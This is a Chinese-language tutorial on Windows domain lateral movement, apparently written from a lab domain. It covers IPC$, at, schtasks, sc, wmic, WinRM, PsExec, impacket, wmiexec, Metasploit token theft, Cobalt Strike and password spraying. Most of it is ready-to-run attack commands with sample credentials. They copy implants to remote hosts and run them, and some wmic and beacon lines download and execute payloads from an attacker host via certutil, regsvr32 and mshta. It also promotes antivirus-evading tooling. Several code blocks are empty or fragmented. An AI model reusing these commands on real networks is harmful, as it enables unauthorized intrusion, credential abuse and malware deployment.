内网横向移动
简介
用于已经得到了一个主机之后想要获取其他的主机方法
简单是示例
首先这个是一个ad域
web winserver 2012
pc win7
dc winserver2012
由于需要进入域环境,所以我直接拿web服务器开涮,扫描端口
发现了445端口
然后使用msf对其利用,刚好发现第一个就成功了
派发给cs
进行内网探测(端口扫描)
连着一块了
收集信息
然后达到获取其他主机的方式
但是在这之前必须了解一下smb
1 |
|
一个共享文件的方式
内向工具篇
IPC$
前提是拥有密码或者是hash,对方开了端口443,139(netbios)
并且工作组使用的用户必须是Adminisrator 管理员组里面都不行
如果是域控的话那就可以
简介
IPC$ (Internet Process Connection) 是共享 “命名管道” 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
使用条件
开放了139,445端口
IPC$ 连接可以实现远程登陆及对默认共享的访问,而139端口的开启表示 netbios 协议的应用。
我们可以通过139和445端口来实现对共享文件/打印机的访问,因此一般来讲,IPC$连接是需要139或445端口来支持的。
IPC$ 连接默认会走445端口,不通的话则会走139端口,这两个端口都可以单独实现文件共享
目标开启IPC$文件共享服务及默认共享
默认共享是为了方便管理员远程管理而默认开启的共享。
所有逻辑磁盘(c$、d$、e$…)和系统目录 WINNT 或WINDOWS(ADMIN$) ,通过IPC连接可以实现对这些默认共享的访问
需要目标机器的管理员账号和密码 (主要的)
默认情况下只有被添加到远程计算机管理员组的域用户(域管用户)有权限对admin$ 目录建立 IPC 连接
本地的 Administrator 用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用 Administrator 用户远程连接
常用的指令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
421. 连接
net use \\10.10.10.30\ipc$ /user:administrator "1qaz@wsx"
上面的ipc$对应上面一幅图的ipc$
2. 查看连接情况
net use
3. 查看目标主机时间
net time \\10.10.10.30
4. 删除连接
net use \\10.10.10.30\ipc$ /del
net use * /del /y
5. 上传文件
copy shell.exe \\10.10.10.30\c$\windows\temp\plugin_update.exe
6. 下载文件
copy \\10.10.10.30\c$\59.exe c:\
7. 查看目标主机文件
dir \\10.10.10.30\c$
8. 开放/关闭 ipc$ 共享。
net share ipc$
net share ipc$ /del
9. 共享计算机 C 盘。
net share C=c:\
10. 映射共享磁盘到本地
net use z: \\10.10.10.30\c$ /user:administrator "1qaz@wsx"
11. 查看/删除共享的资源。
net share
net share C /del
12. 取消IPC远程连接。
net use c: /del
net use * /del /yIPC$连接失败常见错误号
1
2
3
4
5
6
7
8
9错误号 5,拒绝访问 【很可能你使用的用户不是管理员权限,先提升权限】
错误号 51,Windows 无法找到网络路径 【网络有问题】
错误号 53,找不到网络路径 【ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤)】
错误号 67,找不到网络名 【你的 lanmanworkstation 服务未启动;目标删除了 ipc$;】
错误号 1219,提供的凭据与已存在的凭据集冲突 【你已经和对方建立了一个ipc$,请删除后再连】
错误号 1326,未知的用户名或错误密码 【用户名或密码错误】
错误号 1385,登录失败:未授予用户在此计算机上的请求登录类型
错误号 1792,试图登录,但是网络登录服务没有启动 【目标NetLogon服务未启动[连接域控会出现此情况]】
错误号 2242,此用户的密码已经过期 【目标有帐号策略,强制定期要求更改密码】
IPC+AT
at是什么
AT命令可在指定时间和日期、在指定计算机上运行命令和程序。
简单理解为可以当作定时任务
利用at
net use \10.10.10.201\c$ /user:administrator “1qaz@WSX3e”
copy 59.exe \10.10.10.201\c$
查看远程主机时间:net time \10.10.10.201
AT命令添加任务:at \10.10.10.201 19:08 c:\59.exe
AT命令删除任务:at \10.10.10.201 1 /delete
AT命令查看任务:at \10.10.10.201#查看at任务列表,已经执行了的,不会显示。
注意
问题:执行at命令时,显示绑定句柄无效。
解决:echo 10.10.11.100 RemoteHost > C:\Windows\System32\drivers\etc\hosts
AT命令在windows server 2012等新版系统中已被弃用
AT命令如果找不到网络路径,则判断是目标主机已禁用 Task Scheduler 服务
IPC+Schtasks
已经执行的情况下,如果发现还存在该进程,那么这个就不会再执行这个定时任务了
Schtasks简介
由于AT在windows server 2012等新版系统中已被弃用,所以需要使用 schtasks 命令代替。
允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务
常用的指令
/Create 创建新计划任务。
/Delete 删除计划任务。
/Query 显示所有计划任务。
/Change 更改计划任务属性。
/Run 按需运行计划任务。
/End 中止当前正在运行的计划任务。
/ShowSid 显示与计划的任务名称相应的安全标识符。
/? 显示此帮助消息。更多请参考:https://blog.csdn.net/qq_39680564/article/details/88993633
横向移动
命令格式
#创建任务
schtasks /create /tn(任务名字) task1 /U 域\域用户 /P 域用户密码 /tr 命令 /sc(计划类型) ONSTART /s 域机器ip /RU(启动用户) system
schtasks /create /S WIN-ENS2VR5TR3N /TN “test” /TR c:/shell.exe /SC MINUTE /ST 21:27 /ru system /f#运行任务
schtasks /run /tn task1 /s 192.168.10.2 /U 域/域用户 /P 域用户密码#删除任务
schtasks /F /delete /tn task1 /s 域机器ip /U 域\域用户 /p 域用户密码schtasks /create 创建新的计划任务。
/sc schedule 指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。
/mo modifier 指定任务在其计划类型内的运行频率。这个参数对于 MONTHLY 计划是必需的。
对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为 1。
/tr指定任务运行的程序或命令。如果忽略该路径,SchTasks.exe 将假定文件在 Systemroot\System32 目录下。
/tn指定任务的名称。 使用过程
创建连接
net use \\10.10.10.201 /user:administrator “1qaz@WSX34”
net use上传木马(一般都是正向的payload)
dir \10.10.10.201\c$
copy c:\windows\temp\59.exe \10.10.10.201\c$远程主机创建定时任务
schtasks /create /s 10.10.10.201 /u de1ay\administrator /p “1qaz@WSX3e” /sc MINUTE /mo 1 /tn test2 /tr “c:\59.exe”
/s 指定ip
/u 指定用户
/p 指定密码
/sc 指定启动时间单位
/mo 间隔
/tn 名字
/tr 运行命令
Schtasks运行远程主机上的计划任务
schtasks /run /s 10.10.10.201 /u de1ay\administrator /p “1qaz@WSX3e” /tn test2
Schtasks删除远程主机上的计划任务
schtasks /delete /tn At1 /s 10.10.10.201 /u administrator /p 1qaz@WSX3e
IPC+SC
sc 的意思是服务控制器,所以要求执行的服务程序,需要和sc 进行通信,但是现在基本上无法制作出这种文件,所以会出现报错,msf 会断掉
所以应该少用这个
针对于该方法,可能得生成payload 的时候直接生成-f exe-service(原理是进程迁移到service 进程) 的文件,该方案也是有bug 的
如果是最不同的exe 可以使用第三方工具,更改为服务程序
sc简介
sc可以注册,删除,查询系统服务
sc远程注册服务
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15#sc远程创建服务
#本地系统启动
sc \\10.10.10.201 create test binpath= "c:\59.exe" password= 1qaz@WSX3e
sc \\10.10.10.201 create test binpath(此处不能有空格)= (此处有空格)"c:\59.exe" password= 1qaz@WSX3e
# =左边不能有空格,右边有一个空格
#当 "de1ay\administrator" 用户登录时启动
sc \\10.10.10.201 create test(服务名) binpath= "c:\59.exe" obj= "de1ay\administrator" password= 1qaz@WSX3e
#sc启动指定服务
sc \\10.10.10.201 start test
#sc停止指定服务
sc \\10.10.10.201 stop test
sc \\10.10.10.201 delete test
wmic
没有回显,但是使用vmicexec 可以获取回显
是用户管理本地和远程计算机的 一种模型。通过它可以访问、配置、管理和监视几乎所有的Windows资源。WMI的语法十分简单,基 本上常见的命名空间、对象等用几乎一模一样。它对应的是Windows里的WMI服务(winmgmt)。
在 windows 2000之后的操作系统中内置了该服务。WMI使用公共信息模型(CIM)表示托管组件,其 中包括系统、应用程序、网络等等。CIM中使用类表示管理对象,命名空间是一个类的集合。
通过使用135端口上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。
而WMIC是为WMI提供的命令行界面。
命令执行条件
- Windows Management Instrumentation 服务开启,端口TCP 135,默认开启
- 防火墙允许 135、445 等端口通信
使用方法
查询进程信息
wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process list brief
WMI不支持执行命令,但是支持执行文件,也就是说我们可以使用cmd.exe执行对应的程序
wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create “cmd.exe /c ipconfig”
利用create创建进程
远程执行
wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create “cmd /c calc.exe”
如果出现User credentials cannot be used for local connections,应该是调用calc.exe程序权限不够 的问题
如果出现Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断 WMI服务被禁用
wmic命令缺点是没有回显,可以使用wmiexec.vbs脚本实现回显。 也可以将输出重定向其他文件
下载并执行文件
1
2
3wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create "cmd /c certutil.exe -urlcache -split -f http://10.10.10.80/test.exe c:/windows/temp/test.exe & c:/windows/temp/test.exe"
wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create "regsvr32 /s /n /u /i:http://192.168.78.117:8080/feY7nzY.sct scrobj.dll"
WinRM
简介
WinRM 指的是Windows远程管理服务,通过远程连接winRM模块可以操作windows命令行,默认监听 端口5985(HTTP)和5986 (HTTPS),在2012及以后默认开启。
判断是否开启WinRM
判断本机是否开启WinRM服务
winrm enumerate winrm/config/listener
netstat -ano | findstr 5985
wmic service list brief | findstr WinRM
判断目标主机是否开启WinRM服务
开启
1
winrm quickconfig
允许远程主机访问及访问远程主机
1
winrm set winrm/config/client @{TrustedHosts="*"}
Winrs执行命令
1
winrs -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e ipconfig
1
winrs -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e "cmd.exe"
横向移动
利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法
1
winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"}
命令调用了Windows WMI中Win32_process类的Create方法,生成了一个calc.exe的新进程
在远程机器上打开进程
1
winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"} -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e
- 在远程机器上创建服务
1
winrm invoke Create wmicimv2/Win32_Service @{Name="test";DisplayName="test";PathName="cmd.exe /k c:\59.exe"} -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e
在远程机器上启动服务
1
winrm invoke StartService wmicimv2/Win32_Service?Name=test -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e
外部工具篇
windwos工具简介
https://download.sysinternals.com/files/SysinternalsSuite.zip
windwos tools 合集
Procmon
主要是使用用于监控软件,做了什么操作,比如,写入文件,查询了注册表等操作
Psexec (两个版本)
这个工具有两个版本,第一个版本是微软自己的,第二个版本是impacket 里面的
建议使用impacket
impacket 又有两个版本,第一个是python版本,第二个是exe 版本
简介
PsExec是一种轻巧的telnet替代品,可让您在其他系统上执行进程,并为控制台应用程序提供完整的 交互性,而无需手动安装客户端软件。
Psexec原理
pc$连接,释放Psexesvc.exe
通过服务管理OpenSCManager打开受害者机器上服务控制管理器的句柄
通过CreateService创建服务
获取服务句柄OpenService使用StartService启动服务(并且这个服务是真正的服务)
使用的先天必要条件
- 对方主机开启了 admin$ 共享,如果关闭了admin$共享,会提示:找不到网络名
- 对方未开启防火墙
- 如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服 务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
- 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用 户,连接域控只能用域管理员账户。
PsExec.exe使用
直接只用
微软官方工具包 ,直接使用
第一次运行会弹框,输入 –accepteula 这个参数就可以绕过, 如果出现找不到网络名,判断目标主机已禁用ADMIN$共享
1
.\PsExec.exe \\192.168.10.201 -u de1ay\Administrator -p 1qaz@WSX3e -s cmd.exe -accepteula
注意是使用的是官方的psTools 里面的东西
建立IPC连接,无需输入秘密
1
2
3
4
5
6
7net use \\IP /u:域名称\域账号 密码
反弹cmd:
psexec.exe \\10.10.10.201 -s cmd.exe -accepteula
执行命令:
psexec.exe \\10.10.10.201 whoami -accepteula建立连接
反弹shell
执行命令
由于建立了连接,所以都不用在此输入密码
1
2
3
4
5
6-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
-d 不等待程序执行完就返回
比如想上传一个本地的getpass到你远程连接的服务器上去:
Psexec.exe \\ip -u user -p pass -c c:\getpass.exe –d个人觉得,下载文件的方式可能不太行,因为不太好做免杀
同理也可以使用工具合集里的psexec
其实是一样的
使用cs 执行文件
1
2beacon> shell psexec.exe \\10.10.10.201 -u de1ay\Administrator -p 1qaz@WSX3e whoami
beacon> shell psexec.exe \\10.10.10.201 -u de1ay\Administrator -p 1qaz@WSX3e mshta http://192.168.78.117:8088/download/file.ext简单地说,就是直接使用shell
前提就是需要有这个文件
但是cs 不能处理交互式的,所以只能以执行命令的方式进行
Psexec.py
impacket套件中的Psexec与官方psexec.exe相比会自动删除服务,增加隐蔽性 (新版本官方也会)
交互式命令行
1
.\psexec.exe administrator:root@192.168.79.135
不是很好使用
1
C:\>psexec.exe de1ay/administrator:1qaz@WSX3e@10.10.10.201 whoami
直接执行命令
实战使用
如果获取了对方的密码(内网管理员用户可能都是一样的)
1
.\psexec.exe Administrator:"passwd"@192.168.79.170
本工具不用上传到靶机
这个就是原理
因此可以在服务管理器中发现
Smbexec.py
和psexec 原理一致,但是更加高级
impacket套件
smbexec是一款基于psexec的域渗透测试工具,并配套samba工具。
445端口
1 |
|
wmiexec
wmiexec.vbs
基本原理:当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之 前创建的共享文件夹。最后,通过FSO组件访问远程共享文件夹(需要用到445端口)中的结果文件, 将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文 件共享。
1
cscript.exe wmiexec.vbs
1
cscript.exe wmiexec.vbs /cmd 192.168.79.135 Administrator root whoami
获取shell
1
cscript.exe wmiexec.vbs /shell 192.168.93.135 Administrator root
利用cs半交互式
1
shell cscript.exe //nologo c:\wmiexec.vbs /shell ip username password
注意
- wmi只是创建进程,没办法去判断一个进程是否执行完成(比如ping),这样就导致wmi.dll删除不成,下一次 又是被占用,这时候修改一下vbs里面的名字就好:Const FileName = “wmi1.dll”,也可以加入-persist参数 (后台运行)
- 非域用户登陆到win08和2012中,只有administrator可以登陆成功,其他管理员账号会出现WMIEXEC ERROR: Access is denied
WMI-HACKER
介绍:免杀横向渗透远程命令执行,常见的WMIEXEC、PSEXEC执行命令是创建服务或调用 Win32_Process.create执行命令,这些方式都已经被杀软100%拦截,通过改造出WMIHACKER免杀横 向移动测试工具。此工具通过135端口进行命令执行,读取执行结果以及进行文件传输时无需445端口,通过把执行结果写入注册表中,然后进行读取
主要功能:1、命令执行;2、文件上传;3、文件下载
使用
有命令回显
1
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1
这里是system权限是因为由于该脚本是写入注册表的方式,创建注册表的方式执行都是system权限
无命令回显
1
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt 0
这个只是将结果导入到文件里面
1
2
3
4
5
6文件上传-复制本机calc.exe到远程主机c:\calc.exe
> cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"
文件下载-下载远程主机calc.exe到本地c:\calc.exe
> cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:\calc""c:\windows\system32\calc.exe"免杀的版本
Metasploit
Psexec
执行直接就获取到meterpreter的PTH模块
exploit/windows/smb/psexec
设置
1 |
|
使用ms17_010
Token窃取
由于system 不能开启文件共享服务,所以我们需要降权为本地用户
Windows有两种类型的Token:
Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)
Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)
两种token只在系统重启后清除
具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效
在Metasploit中,可使用incognito实现token窃取,Metasploit中的incognito,是从windows平台 下的incognito移植过来的
1 |
|
用法总结
1 |
|
知识回顾
1 |
|
cs
凭证获取
1 |
|
1 |
|
使用步骤
端口扫描
收集hash
1
hashdump
发现hash 太少了
尝试提权
1
2
3
4
5bypassuac:将本地中级管理员权限提升至本地高级管理员权限,适用于Win 7 及以上的系统
elevate:将任意用户的权限提升至系统权限,适用于2018年11月更新之前的 Win 7 和 Win 10 系统
getsystem:将本地高级管理员权限提升至系统权限
runas:使用其他用户的凭证来以其他用户身份运行一个命令,该命令不会返回任何输出
spawnas:使用其他用户的凭证来以其他用户身份派生一个会话,这个命令派生一个临时的进程并将 payload stage 注入进那个进程
密码喷洒
主要是使用该工具
1 |
|
-u 指定用户名,最还是管理员的
-p 就是管理员的密码
该工具主要是利用可能内网中的用户秘密可能是一样的原理,进行密码喷洒
所以最好选择的用户是管理员用户
msf’
通过指定多个rhost
比如使用smb/psexec 模块
然后使用
1 |
|
设置完了,就可以尝试启动,如果发现存在相同的密码的主机就会,上线